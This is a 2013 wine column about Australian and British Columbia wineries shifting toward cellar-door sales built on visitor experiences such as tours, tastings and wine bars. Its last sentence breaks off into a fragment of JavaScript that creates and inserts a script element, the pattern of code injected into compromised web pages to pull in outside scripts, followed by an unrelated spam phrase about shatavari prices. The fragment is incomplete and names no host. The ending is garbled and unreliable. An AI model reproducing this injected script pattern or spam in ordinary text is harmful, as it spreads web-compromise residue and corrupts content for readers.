Buying the wine experience – Jun 22, 2013

By Anthony Gismondi

New South Wales (NSW) Wine Industry Association president David Lowe shared some interesting thoughts at the Innovative Directions for the Australian Wine Industry conference last week at Charles Sturt University (CSU) in Wagga Wagga. In a report that appeared in The Daily Advertiser, Lowe is quoted as saying, “Get used to buying your wine direct from the winery,” or what the Australians like to call the cellar door. Lowe suggested that future customers would be buying direct from the vineyard, rather than from their local bottle shops. It is all about a greater focus on wine tourism. In essence, the message was grow, make and sell your own wine.

Lowe could have given that speech in the Okanagan Valley and had a lot of vintners nodding their heads in agreement. Although to be fair, many British Columbia producers are already well positioned to grow, make and sell their wine.

To get back to Oz for a moment: the big city trend is all about boutique wine bars. Unlike the restricted experiences we are allowed to enjoy in the highly-regulated Vancouver wine scene, Australians enjoy the freedom of hanging out in wine bars, meeting friends and enjoying a glass of wine with or without food at a modest price. It is a setting that seems idyllic to Oz wine sippers and surreal to Vancouverites. Yet it turns out in Australia, there is no money in selling wines for less money and under duress to local wine bars. Add to that a growing monopoly of powerful bottle shops and selling wine in any channel other than direct is, well, not very profitable.

That said, there is a catch to selling direct at the winery if you are going to sell your wine at a price equal to or higher than what consumers would find in the city. Think about it, why would you drive five hours to wine country to pay the same price at the winery you pay in the city. That’s where personality and wine country experience comes in and that’s what David Lowe is preaching.

Long before the retailers and powerful monopolies, consumers could buy wine direct at the winery for less than it was sold in the city but those days are gone. Most wine country wine shops charge city prices. The only question is why or how do they get away with it. The answer is simple; the average retail wine experience bar is set so low there is plenty of room to manoeuvre. Vineyard walks, cellar visits and on-site tasting all have the ability to draw wine buyers into your product at a level they could never experience in the city.

“That buying wine will become a customer experience coupled to the story of the winery, the vineyard and the personal story of each wine that you will get at the winery,” says Lowe.

It may sound a bit daunting but economically it is far cheaper for most wine producers to put a big effort into customer experience than fighting it out on retail shelves. What you are going to see in the next decade are many new wineries built to give you that experience from the get go.

Culmina Family Estate Winery, the latest wine adventure of the Triggs family’s (of Jackson-Triggs and Delaine Vineyard fame) opens next month just south of Oliver on the Golden Mile. The tasting room is more like a meeting room. You will make a reservation online and when you visit the winery they’ll spend 45 minutes with you touring and explaining the entire vineyard and winery operation.

Across the valley on the Black Sage Bench, Church and State has built a fabulous wine bar experience and just around the corner. Black Hills is offering an equally amazing out-of-doors tasting bar experience you won’t soon forget.

Mission Hill owner Anthony von Mandl recognized all this two decades ago and with a purported 150,000 annual visitors stopping you can guess that just selling them a single bottle has to be extremely profitable.} else {if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement('script'); shatavari price in india

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